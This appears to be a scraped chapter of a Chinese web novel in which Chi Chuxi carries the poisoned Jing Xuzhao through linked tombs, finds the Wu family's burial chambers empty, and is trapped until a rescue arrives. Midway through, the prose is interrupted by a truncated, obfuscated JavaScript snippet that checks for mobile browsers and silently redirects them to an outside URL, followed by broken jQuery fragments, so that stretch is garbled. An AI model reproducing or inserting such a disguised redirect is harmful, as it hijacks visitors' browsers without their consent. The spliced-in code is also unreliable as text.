烛火的光亮毕竟有限,池楚浠将蜡烛举高才能勉强让景序昭看清顶上的图案。
“又是戏台吗?”池楚浠问,她也看了头顶的东西。
“是。”景序昭道,“是一个很大的戏台,那戏台上有九个穿喜服的女子。”
“这些女子的四肢和脑袋都被绳子牵引着,像牵着一个不会动的傀儡。”
池楚浠抬头跟着看,尽管她保持这个姿势很累,但她架不住自己的好奇心。
第一块石板上的内容如景序昭说的一样,第二块上的内容便有了区别。
只见那九个被绳子牵引着的新娘有了与之前不一样的动作,像是绳子引导着她们摆出这样的动作。
她们九个似乎正在唱戏。
两人齐齐看向后面的图案。
第三块石板上,九个新娘交换了位置,像是戏子之间简单的走位。
池楚浠道:“她们的一切动作都由绳子牵引着完成,她们莫不是死人。”
“只有死人才不能动弹,需要其他东西辅助才能完成这些动作,从而在戏台上表演。”
景序昭看完了这个方向的画,便道:“你再往前走些。”
池楚浠背着他过去。
他把剩下的画也都看了。
“你看,有一位新娘的眼睛是睁开的,其他人都闭着眼。”
池楚浠倒是没怎么留意新娘们的眼睛,毕竟这刻出来的石板画始终不如纸上画出来那般明显。
谁会去注意被刻成一条线的眼睛。
“难道她没死,只有她还活着,那为何她要与一群死人一起唱戏?”
池楚浠自言自语,景序昭也不知道答案,这些雕刻画过于莫名其妙了。
景序昭却道:“记得在吴家墓室里看见的那个戏台吗?”
“那个戏台搭在荒野,与这个戏台一样,只是那个戏台上少了人,而这里多了几个人唱戏。”
景序昭接着道:“在野外搭戏台,唱戏给鬼看,这几个新娘唱的戏就是给鬼看,鬼来了会勾走活人躯体里的魂魄,它自己挤占了肉身,短暂还阳。”
池楚浠看着那位睁着眼睛的新娘道:“你是说她被鬼上身,所以唯独她睁着眼。”
景序昭道:“只是有这个鬼唱戏的传说,我根据传说猜测这壁画上的故事。”
池楚浠看了看其他的石壁:“可这壁画到这里便没了,这有头没尾的鬼唱戏到底想说什么。”
“你身上还有毒未解,不能再耽搁了,出去要紧。”
池楚浠开始奋力地快步往前走。
眼前有一道墓门,但被损毁了,留下的缝隙刚好够池楚浠背着人出去。
穿过损坏的墓门,池楚浠竟看见了吴家的墓室,这上下两个墓穴很好区分,首先石头的用料就不同,凿刻纹路不同,年份看起来也不同,一个新一个旧。
“两个墓穴是连通的。”池楚浠道。
景序昭道:“你先放我下来,去打开左侧那个墓室门,看看里面是否葬有吴家人。”
池楚浠没将他放下来,而是背着他继续往前。
“谁知你何时会毒发,查验尸骨之事日后再说,眼下是保住你的性命要紧。”
“我没事。”景序昭沉声道,“你去看看耽误不了多久,若是今夜出去后打草惊蛇,恐怕我们再也看不到想看的东西。”
“楚浠,嫁进吴家的新妇挨个暴毙,我身负御史手令,必定要回去复命,总不能分说不清案子。”
池楚浠拗不过他,速速将他放下,又速速跑去打开墓室门。
吴家的小墓室门开起来没什么难度,白日里吴荣贵当着所有人的面都是这样开的,也没避着谁,大家都看过墓门外的机关。
墓门一打开,里面的东西便一眼能看全,该放棺材的位置没有棺材,尸体就更没有了。
“空的。”池楚浠道。
斜对面还有一间墓室,景序昭目光锁定那里。
“去打开。”
池楚浠一边怕他毒发,一边又不得不去打开墓室,她索性跑进来。
“还是空的。”
她背起景序昭往前方走,沿着这条甬道走下去或许能回到最初的位置。
景序昭认路比池楚浠好太多,眼看她转了几个弯后就要绕回去了,他赶紧道:“错了,往左边。”
池楚浠:“哦……”
这条路上还有新的墓室,池楚浠听景序昭的吩咐,挨个打开看。
“都是空的。”
事到如今,两人都变了脸色,这吴家从一开始就在撒谎,什么嫁进来的女人都葬在此处,除了李荞,根本没有其他女人。
别说女人,就连吴家男人的尸骨也没见到,这么大个墓穴,墓室都是空的。
景序昭道:“将李荞的尸骨带出去。”
池楚浠其实也打了这个主意,若此时再不带她出去,可能将来就没机会了。
他们今夜在墓穴里这样一番折腾,待吴荣贵下次进来时必定会发现,只是不知吴荣贵何时会再进来。
看着四通八达的甬道,池楚浠头大,她不知该走哪边。
景序昭无声地笑了笑:“第二个甬道口左转。”
池楚浠背着人还要加快脚步,实在是过于艰难,她怕景序昭毒发,连看大夫都来不及。
“你现在感觉如何?”池楚浠问。
景序昭:“直走,再右转便可回到来时的路。”
池楚浠又问了一遍:“你体内的毒如何?”
景序昭无力地歪头靠着池楚浠,已然贴在她脸颊上。
“放心,还死不了,你照我说的方向走,拿了李荞的尸骨再出去。”
池楚浠咬着下唇,虽然表面听了景序昭的话,但她即刻就想冲出墓穴。
可惜,她不认路。
阿耶说,这一点她像母亲。
耳旁传来景序昭略低沉的声音,他带着歉意道:“辛苦你了,楚浠。”
池楚浠擦过眼角不小心溢出的半点水珠,闷声道:“我背得动,莫要小瞧我。”
她终于看见了那扇熟悉的大门,那扇顶到穹顶的墓门,之前过来时这扇门就已经自动合上了。
“还能打开吗?”
池楚浠左右看了看,没发现有明显的机关按钮。
这也是景序昭犯难的地方,起初以为这里不会有陪葬墓室,墓门不可能会无故锁死。但方才见到下方的墓穴便打翻了这个推断,这底下是有陪葬品的,而且是用人陪葬。
池楚浠将景序昭靠墙放置,自己去门上摸索,她左右寻了一圈,没发现有开门的机关。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405841|184457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“进得来,出不去,这是早就设计好了让盗墓贼去下方墓室陪葬。”
怪不得处处都是毒药,看来他们是真幸运,被下毒两次都还没死。
池楚浠觉得希望愈加渺茫,她过来查看景序昭的伤势。
“手上的血是止住了,可那毒恐怕已深入你体内,拖得越久越危险。”
“你也莫在用没事的说辞来糊弄我,我眼睛又不瞎,看看你此刻的样子,像要与下方的白骨们同眠了。”
池楚浠无奈道:“岳师父可还有教别的,比如在被封死的墓穴里如何逃生?”
景序昭道:“他没教。”
池楚浠的心都往下沉了一截,她开始责怪自己不该想出这个夜探墓室的主意。
还怪景序昭那么快能与她心意相通,没商量过就直接做好了进墓室的准备。
但凡景序昭没领悟到,他们也不至于全都身陷囹圄,倒不如她自己偷偷来。
即便是出事也不会带着人陪葬,景序昭有官在身,万一她死了他或许还能为她讨个公道。
现在想这些为时已晚,池楚浠继续到处寻找出去的机会。
她用力拍打着石门,或许可以像景序昭进来时那样,从石门内部发出的声音来辨别机关的方位。
双掌和双拳都试过了,她贴在门上也没听见有任何响动,似乎里面的机关锁纹丝未动,再也不打算开启。
“景序昭,这扇门是真的锁死了。”
“景序昭。”
她回头看去,只见景序昭斜靠着墙壁,眼睛不知何时已经闭上。
“景序昭!”
池楚浠跑回他身边,大声唤着他的名字。
“你死了吗?”
慌乱之中,她的指腹颤颤巍巍探向他的脖颈侧面,脉搏仍在跳动。
“景序昭……”
池楚浠吓得声音哽咽,幸好没死,幸好还有一口气。
她抓起景序昭的配刀朝墓门砸去,哐当一声,配刀掉在地上,金属重重跌落的声音激得池楚浠浑身绷紧。
“咔哒”一声,门开了。
池楚浠震惊之余看见了跑进来的铁耀,岳逸钦也来了。
池楚浠瞬间反应过来,拉住岳逸钦道:“师父,救他!”
岳逸钦捋着胡子快步朝景序昭走去,确认人还活着后,他竟嘲笑道:“就你们两个不知死活的还能活到现在已是难得。”
“也怪我,没早些参透这里的玄机,否则我不会让他就这样进入墓穴。”
池楚浠只关心一点:“他还有救吗?”
岳逸钦从怀里摸出一个药瓶,倒出一粒药丸塞进景序昭嘴里,捏着他的下颌迫使他将药丸吞下。
“他在毒医谷什么毒没见过,还能被这里的东西撂倒,放心,死不了。”
听到岳逸钦语气如此笃定,池楚浠缓缓松了口气。
“死不了就好。”
岳逸钦道:“不能再原路返回,此路是只进不出,若强行出去只怕会死在这里。”
池楚浠看了景序昭一眼道:“我们想要带走李荞的尸骨,这里除了她再没有别的吴家妇人了。”
铁耀提起手中的包袱给池楚浠:“李娘子的尸骨在这里,她的孩子我也装进去了。”
池楚浠接过包袱,铁耀背起景序昭。